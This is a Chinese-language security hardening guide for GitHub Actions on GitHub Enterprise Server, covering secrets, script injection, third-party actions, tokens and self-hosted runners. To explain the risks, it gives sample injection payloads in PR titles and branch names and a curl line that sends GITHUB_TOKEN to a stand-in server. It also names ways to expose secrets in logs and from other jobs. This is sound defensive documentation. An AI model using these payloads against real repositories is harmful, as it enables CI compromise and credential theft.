注意:GitHub Enterprise Server 目前不支持 GitHub 托管的运行器。 可以在 GitHub public roadmap 上查看有关未来支持计划的更多信息。
概述
本指南介绍如何为某些 GitHub Actions 功能配置安全强化。 如果不熟悉 GitHub Actions 概念,请参阅“了解 GitHub Actions”。
使用机密
敏感值绝不能以明文存储在工作流程文件中,而应存储为密码。 机密可在组织、存储库或环境级进行配置,使你可在 GitHub Enterprise Server 中存储敏感信息。
为了帮助防止意外泄露,GitHub Enterprise Server 使用一种机制尝试对运行日志中显示的任何密码进行编校。 此编辑会寻找作业使用的任何已配置机密的精确匹配项,以及值的常见编码,如 Base64。 但是,由于密码值可以通过多种方式转换,因此不能保证此编校。 此外,运行器只能对当前作业使用的机密进行编辑。 因此,你应该采取某些积极主动的步骤和良好的做法,以帮助确保密码得到编校, 并限制与密码相关的其他风险:
- 切勿将结构化数据用作机密
- 结构化数据可能导致日志中的密码编校失败,因为编校很大程度上取决于查找特定密码值的完全匹配项。 例如,不要使用 JSON、XML 或 YAML(或类似)的 Blob 来封装密码值,否则会显著降低密码被正确编校的可能性。 而应为每个敏感值创建单独的密码。
- 注册工作流中使用的所有机密
- 如果机密用于生成工作流中的另一敏感值,则该生成值应正式注册为机密,以便在它出现在日志中时对其进行编辑。 例如,如果使用私钥生成签名的 JWT 来访问 Web API,请确保将该 JWT 注册为密码,否则,如果它进入日志输出,则不会得到编校。
- 注册密码也适用于任何类型的转换/编码。 如果以某种方式(如 Base64 或 URL 编码)转换您的密码,请确保将新值也注册为密码。
- 审核机密的处理方式
- 审核密码的使用方式,以帮助确保按预期方式处理密码。 您可以通过检查执行工作流程的仓库的源代码并检查工作流程中使用的任何操作来进行审核。 例如,确认它们未发送到非预期主机,或明确打印到日志输出。
- 在测试有效/无效输入后查看工作流程的运行日志,并确认密码已正确编校或未显示。 调用的命令或工具向
STDOUT
和STDERR
发送错误的方式并不总是很明显,并且机密随后可能会出现在错误日志中。 因此,在测试有效和无效的输入后,最好是手动查看工作流程日志。 有关如何清理可能无意中包含敏感数据的工作流日志的信息,请参阅“使用工作流运行日志”。
- 使用最小范围的凭据
- 审核并轮换已注册机密
- 定期查查已注册的密码,以确认它们仍是必需的。 删除不再需要的密码。
- 定期轮换密码,以减小泄露的密码有效的时间窗。
- 考虑要求对访问机密进行审查
- 您可以使用所需的审查者来保护环境机密。 在审查者批准之前,工作流程作业无法访问环境机密。 有关在环境中存储机密或需要审查环境的详细信息,请参阅“在 GitHub Actions 中使用机密”和“使用环境进行部署”。
警告:对存储库具有写入访问权限的任何用户都有权读取存储库中配置的所有机密。 因此,应确保工作流中使用的凭据具有所需的最低权限。
使用 CODEOWNERS
监视更改
可以使用 CODEOWNERS
功能来控制更改工作流文件的方式。 例如,如果所有的工作流文件都存储在 .github/workflows
中,可以将此目录添加到代码所有者列表,这样对这些文件的任何拟议更改都首先需要得到指定的审查者的批准。
有关详细信息,请参阅“关于代码所有者”。
了解脚本注入的风险
创建工作流、自定义操作和复合操作操作时,应始终考虑代码是否可能执行来自攻击者的不受信任的输入。 当攻击者将恶意命令和脚本添加到上下文时可能发生这种情况。 当您的工作流程运行时,这些字符串可能会被解释为代码,然后在运行器上执行。
攻击者可以将其自己的恶意内容添加到 github
上下文中,这应被视为潜在的不受信任的输入。 这些上下文通常以 body
、default_branch
、email
、head_ref
、label
、message
、name
、page_name
、ref
和 title
结尾。 例如:github.event.issue.title
或 github.event.pull_request.body
。
您应该确保这些值不会直接流入工作流程、操作、API 调用,或任何可能被解释为可执行代码的其它地方。 通过采用您将用于任何其他特权应用程序代码的相同防御编程姿态,,您可以帮助安全保护 GitHub Actions 的使用。 若要了解攻击者可能采取的某些步骤,请参阅“GitHub Actions 的安全强化”。
此外,还有其他不太明显的潜在不信任输入来源,如分支名称和电子邮件地址,这些输入在允许的内容方面可能相当灵活。 例如,zzz";echo${IFS}"hello";#
将是一个有效的分支名称,并将成为目标存储库可能的攻击途径。
以下部分解释了如何帮助降低脚本注入的风险。
脚本注入攻击示例
脚本注入攻击可直接发生在工作流程的内联脚本中。 在下列示例中,操作使用表达式来测试拉取请求标题的有效性,但也增加了脚本注入的风险:
- name: Check PR title
run: |
title="${{ github.event.pull_request.title }}"
if [[ $title =~ ^octocat ]]; then
echo "PR title starts with 'octocat'"
exit 0
else
echo "PR title did not start with 'octocat'"
exit 1
fi
此示例易受脚本注入的影响,因为 run
命令在运行器的临时 shell 脚本中执行。 在 shell 脚本运行之前,${{ }}
内的表达式被评估后替换为结果值,这使它易受 shell 命令注入的攻击。
要将命令注入此工作流,攻击者可以创建标题为 a"; ls $GITHUB_WORKSPACE"
的拉取请求:
在此示例中,"
字符用于中断 title="${{ github.event.pull_request.title }}"
语句,允许在运行器上执行 ls
命令。 可以在日志中看到 ls
命令的输出:
Run title="a"; ls $GITHUB_WORKSPACE""
README.md
code.yml
example.js
减少脚本注入攻击的良好做法
有许多不同的方法可以帮助您降低脚本注入的风险:
使用操作而不是内联脚本(建议)
建议的方法是创建一个 JavaScript 操作,将上下文值作为参数处理。 此方法不易受到注入攻击,因为上下文值不用于生成 shell 脚本,而是作为参数传递给该操作:
uses: fakeaction/checktitle@v3
with:
title: ${{ github.event.pull_request.title }}
使用中间环境变量
对于内联脚本,处理不信任输入的首选方法是将表达式的值设置为中间环境变量。
以下示例使用 Bash 将 github.event.pull_request.title
值处理为环境变量:
- name: Check PR title
env:
TITLE: ${{ github.event.pull_request.title }}
run: |
if [[ "$TITLE" =~ ^octocat ]]; then
echo "PR title starts with 'octocat'"
exit 0
else
echo "PR title did not start with 'octocat'"
exit 1
fi
在此示例中,尝试的脚本注入失败,日志中的以下行反映了这一点:
env:
TITLE: a"; ls $GITHUB_WORKSPACE"
PR title did not start with 'octocat'
使用此方法,${{ github.event.issue.title }}
表达式的值存储在内存中用作变量,并且不与脚本生成过程交互。 此外,考虑使用双引号 shell 变量来避免单词拆分,但这是写入 shell 脚本的众多一般建议之一,并且不是专门针对 GitHub Actions 的。
限制令牌权限
为了帮助降低暴露令牌的风险,请考虑限制分配的权限。 有关详细信息,请参阅“自动令牌身份验证”。
使用 OpenID Connect 访问云资源
如果 GitHub Actions 工作流需要访问支持 OpenID Connect (OIDC) 的云提供商提供的资源,则可以将工作流配置为直接向云提供商进行身份验证。 这样就可以停止将这些凭据存储为长期存在的机密,并提供其他安全优势。 有关详细信息,请参阅“关于使用 OpenID Connect 进行安全强化”。
注意:**** AWS 不支持 OIDC 的自定义声明。
使用第三方操作
工作流程中的个别作业可以与其他作业相互作用(和妥协)。 例如,查询以后作业使用的环境变量,将文件写入以后作业处理的共享目录,或者更直接地与 Docker 套接字接交互,以及检查其他正在运行的容器并执行其中的命令。
这意味着工作流中单一操作的泄露可能很严重,因为这个泄露的操作可以访问存储库中配置的所有机密,并且可以使用 GITHUB_TOKEN
写入存储库。 因此,从 GitHub 上的第三方仓库获取操作的风险很大。 若要了解攻击者可能采取的某些步骤,请参阅“GitHub Actions 的安全强化”。
您可以遵循以下良好做法来帮助降低此风险:
-
将操作固定到全长提交 SHA
将操作固定到全长提交 SHA 是当前将操作用作不可变版本的唯一方法。 固定到特定 SHA 有助于降低恶意执行者向操作仓库添加后门的风险,因为他们需要为有效的 Git 对象负载生成 SHA-1 冲突。 选择 SHA 时,应验证它是否来自操作的存储库,而不是存储库分支。
-
审核操作的源代码
确保操作按照预期处理仓库和密码的内容。 例如,确认密码未发送到非预期主机,或者没有被无意中记录。
-
仅当信任创建者时,才将操作固定到标记
尽管固定到提交 SHA 是最安全的选项,但指定标记更方便,而且被广泛使用。 如果要指定标记,请确保信任该操作的创建者。 GitHub Marketplace 上的“已验证创建者”徽章是一个有用的信号,因为它表示该操作是由其身份已被 GitHub 验证的团队编写的。 请注意,即使您信任作者,这种方法也存在风险,因为如果恶意执行者获得对存储操作的仓库的访问权限,便可移动或删除标记。
重新使用第三方工作流程
上述使用第三方操作的相同原则也适用于使用第三方工作流程。 通过遵循上述相同的良好做法,您可以帮助降低与重用工作流程相关的风险。 有关详细信息,请参阅“重新使用工作流”。
使用 Dependabot version updates 使操作保持最新
可使用 Dependabot 来确保对存储库中使用的操作 的引用保持最新。 操作通常使用漏洞修复和新功能进行更新,以使自动化流程更快速、更安全、更可靠。 Dependabot 使你无需维护依赖项,因为其会自动执行此操作。 有关详细信息,请参阅“使用 Dependabot 保持操作的最新状态”和“关于 Dependabot 安全更新”。
允许工作流访问内部和专用存储库
如果使内部或专用存储库可供其他存储库中的 GitHub Actions 工作流访问,则其他存储库中的外部协作者可以间接访问内部或专用存储库,即使他们没有直接访问这些存储库的权限。 当使用来自内部或专用存储库的操作或工作流时,外部协作者可以查看工作流运行的日志。 有关详细信息,请参阅“与企业共享操作和工作流”。
为了允许运行器下载这些操作,GitHub 向运行器传递一个作用域内的安装令牌。 此令牌具有对存储库的读取访问权限,会在一小时后自动过期。
防止 GitHub Actions 创建或审批拉取请求
可选择允许或阻止GitHub Actions工作流创建或审批拉取请求。 如果在没有适当监督的情况下合并拉取请求,则允许工作流或任何其他自动化创建或审批拉取请求可能会带来安全风险。
若要详细了解如何配置此设置,请参阅“在企业中为 GitHub Actions 实施策略”、“禁用或限制组织的 GitHub Actions”和“管理存储库的 GitHub Actions 设置”。
使用 OpenSSF 记分卡保护工作流程
记分卡是一种自动化安全工具,可标记有风险的供应链做法。 可以使用记分卡操作和入门工作流来遵循最佳安全做法。 配置完成后,记分卡操作将根据存储库更改自动运行,并使用内置的代码扫描体验提醒开发人员有关有风险的供应链做法。 记分卡项目运行许多检查,包括脚本注入攻击、令牌权限和固定操作。
受损运行器的潜在影响
这些部分考虑了当攻击者能够对 GitHub Actions 运行器运行恶意命令时可以采取的一些步骤。
注意:GitHub 托管的运行器不会扫描用户在其作业期间下载的恶意代码,例如遭到入侵的第三方库。
访问密钥
使用 pull_request
事件从复刻的仓库触发的工作流具有只读权限,不能访问机密。 但是,这些权限因各种事件触发因素(如 issue_comment
、issues
、push
和 pull_request
)与仓库内的分支不同,攻击者可能试图窃取仓库机密或使用作业的 GITHUB_TOKEN
的写入权限。
-
如果机密或令牌设置为环境变量,可以使用
printenv
通过环境直接进行访问。 -
如果在表达式中直接使用密钥,生成的 shell 脚本将存储在磁盘上,并且可以访问。
-
对于自定义操作,风险可能因程序如何使用从参数中获取的密钥而异:
uses: fakeaction/publish@v3 with: key: ${{ secrets.PUBLISH_KEY }}
虽然 GitHub Actions 会从工作流(或包含的操作)中未引用的内存中清除机密,但 GITHUB_TOKEN
和任何引用的机密均可被顽强的攻击者获取。
泄露运行器中的数据
攻击者可以从运行器泄露任何被盗的密钥或其他数据。 为了帮助防止意外的机密泄露,GitHub Actions 自动编辑打印到日志的机密,但这不是一个真正的安全边界,因为可以有意图地将机密发送到日志。 例如,可使用 echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};
来泄露经过模糊处理的机密。 此外,由于攻击者可能运行任意命令,他们可以使用 HTTP 请求将机密或其他仓库数据发送到外部服务器。
窃取作业的 GITHUB_TOKEN
攻击者有可能窃取作业的 GITHUB_TOKEN
。 GitHub Actions 运行器自动接收生成的 GITHUB_TOKEN
,权限仅限于包含工作流的存储库,令牌在作业完成后过期。 一旦过期,令牌对攻击者不再有用。 为解决此限制,他们可以通过调用带有令牌的攻击者控制的服务器(例如:a"; set +e; curl http://example.com?token=$GITHUB_TOKEN;#
)来自动执行攻击并在几分之一秒内完成攻击。
修改仓库的内容
如果 GITHUB_TOKEN
分配的权限不受限制,则攻击者服务器可以使用 GitHub Enterprise Server API 修改存储库内容(包括版本)。
考虑跨仓库访问
GitHub Actions 的范围有意设为每次一个仓库。 GITHUB_TOKEN
授予与写入访问用户相同的访问权限,因为任何写入访问用户都可以通过创建或修改工作流文件来访问此令牌,在必要时提升 GITHUB_TOKEN
的权限。 用户对每个存储库都有特定权限,因此,如果不谨慎实施,一个存储库的 GITHUB_TOKEN
授予对另一个存储库的访问权限将会影响 GitHub 权限模型。 同样,在向工作流程添加 GitHub 授权令牌时也必须谨慎,因为这也会因无意中向协作者授予一般权限而影响 GitHub 权限模型。
如果你的组织归企业帐户所有,则可以通过将 GitHub Actions 存储在内部存储库中来共享和重复使用它们。 有关详细信息,请参阅“与企业共享操作和工作流”。
可以通过引用 GitHub 身份验证令牌或 SSH 密钥作为工作流中的密码,执行其他特权跨存储库交互。 由于许多身份验证令牌类型不允许对特定资源进行细致的访问,因此使用错误的令牌类型存在很大风险,因为它可以授予比预期范围更广泛的访问。
此列表描述建议用于在工作流程中访问仓库数据的方法,按优先顺序降序排列:
- 此
GITHUB_TOKEN
- 此令牌的范围有意设为调用工作流程的单个仓库,并且具有与仓库具有写入访问用户相同的访问级别。 令牌在每个作业开始之前创建,在作业完成时过期。 有关详细信息,请参阅“自动令牌身份验证”。
- 应尽可能使用
GITHUB_TOKEN
。
- 存储库部署密钥
- 部署密钥是唯一授予对单个存储库的读取或写入访问权限的凭据类型之一,可用于与工作流程中的另一个仓库进行交互。 有关详细信息,请参阅“管理部署密钥”。
- 请注意,部署密钥只能使用 Git 克隆和推送到仓库,不能用于与 REST 或 GraphQL API 进行交互,因此它们可能不适合您的要求。
- GitHub App 令牌
- GitHub Apps 可以安装在选择的仓库上,甚至可以对其中的资源设置细致的访问权限。 您可以创建组织内部的 GitHub App,将其安装在工作流程中您需要访问的仓库上,并在工作流程中验证为安装以访问这些仓库。 有关详细信息,请参阅“使用 GitHub Actions 工作流中的 GitHub App 发出经过身份验证的 API 请求”。
- personal access tokens
- 切勿使用personal access token。 这些令牌授予对有权访问的组织内的所有存储库以及个人帐户中的所有个人存储库的访问权限。 这间接地向所有能写入工作流程所在仓库的用户授予广泛访问权限。
- 如果使用personal access token,则切勿通过自己的帐户使用personal access token。 如果你之后离开组织,使用此令牌的工作流将立即中断,而且调试此问题可能具有挑战性。 你应该转而为属于你的组织的新帐户使用personal access token,该令牌仅向工作流需要的特定存储库授予访问权限。 请注意,此方法不可扩展,应避免采用其他方法,例如部署密钥。
- 个人帐户上的 SSH 密钥
- 工作流不应使用个人帐户上的 SSH 密钥。 与personal access tokens类似,它们授予对所有个人存储库及你通过组织成员资格访问的所有存储库的读/写权限。 这间接地向所有能写入工作流程所在仓库的用户授予广泛访问权限。 如果您打算使用 SSH 密钥,因为您只需要执行仓库克隆或推送,并且不需要与公共 API 交互,则应该使用单独的部署密钥。
GitHub 托管的运行器强化
GitHub 托管的运行器会采取措施,帮助降低安全风险。
拒绝访问主机
GitHub 托管的运行器预配有 etc/hosts
文件,可阻止对各种加密货币挖掘池和恶意站点的网络访问。 MiningMadness.com 和 cpu-pool.com 等主机会重新路由到 localhost,因此它们不会带来重大安全风险。 有关详细信息,请参阅“使用 GitHub 托管的运行器”。
自托管运行器的强化
自托管运行器不能保证在临时干净的虚拟机中运行,并且可能会持续受到工作流中不受信任的代码的损害。
要谨慎,因为任何可以创建存储库分支并打开拉取请求的人(通常是那些对存储库具有读取访问权限的人)都能够损害自托管运行器环境,包括获得对机密和 GITHUB_TOKEN
的访问权限,根据其设置,可以授予对存储库的写入权限。 尽管工作流程可以通过使用环境和必需的审查来控制对环境密钥的访问,但是这些工作流程不是在隔离的环境中运行,在自托管运行程器上运行时仍然容易遭受相同的风险。
在组织或企业级别定义自托管运行器时, GitHub Enterprise Server 可将多个仓库中的工作流程安排到同一个运行器中。 因此,这些环境的安全危害可能会导致广泛的影响。 为了帮助缩小损害范围,可以通过将自托管运行器组织到单独的组中来创建边界。 你可以限制访问运行器组的工作流、组织和存储库。 有关详细信息,请参阅“使用组管理对自托管运行程序的访问”。
您还应考虑自托管运行器机器的环境:
- 配置为自托管运行器的计算机上存储哪些敏感信息? 例如,私有 SSH 密钥、API 访问令牌等。
- 计算机是否可通过网络访问敏感服务? 例如,Azure 或 AWS 元数据服务。 此环境中的敏感信息量应保持在最低水平,您应该始终注意,任何能够调用工作流程的用户都有权访问此环境。
某些客户可能会尝试通过实施在每次作业执行后自动销毁自托管运行器的系统来部分降低这些风险。 但是,此方法可能不如预期有效,因为无法保证自托管运行器只运行一个作业。 有些任务将使用机密作为命令行参数,可以在同一运行器上的另一个任务中看到,例如 ps x -w
。 这可能导致秘密泄露。
为自托管运行器规划管理策略
可以将自托管运行器添加到 GitHub 层次结构中的各个级别:企业、组织或存储库级别。 此布置决定了谁将能够管理运行器:
集中式管理:
- 如果您计划让一个集中的团队拥有自托管的运行器,则建议在最高的相互组织或企业级别添加您的运行器。 这为您的团队提供了一个位置来查看和管理您的运行器。
- 如果您只有一个组织,那么在组织级别添加运行器实际上是相同的方法,但如果将来添加另一个组织,则可能会遇到困难。
分散管理:
- 如果每个团队将管理自己的自托管运行器,则建议将运行器添加到团队所有权的最高级别。 例如,如果每个团队都拥有自己的组织,那么在组织级别添加运行器是最简单的。
- 您还可以在存储库级别添加运行器,但这会增加管理开销,并且还会增加所需的运行器数量,因为您无法在存储库之间共享运行器。
向云提供商进行身份验证
如果您使用 GitHub Actions 部署到云提供商,或者打算使用 HashiCorp Vault 进行机密管理,则建议您考虑使用 OpenID Connect 为工作流程运行创建短期、范围得当的访问令牌。 有关详细信息,请参阅“关于使用 OpenID Connect 进行安全强化”。
审核 GitHub Actions 事件
可以使用安全日志监视用户帐户活动,并使用审核日志监视组织或企业中的活动。 安全和审核日志记录操作类型、操作的运行时间以及执行操作的个人帐户。
例如,可使用审核日志跟踪 org.update_actions_secret
事件,这些事件跟踪组织机密的更改。
有关可在审核日志中找到的每种帐户类型的完整事件列表,请参阅以下文章: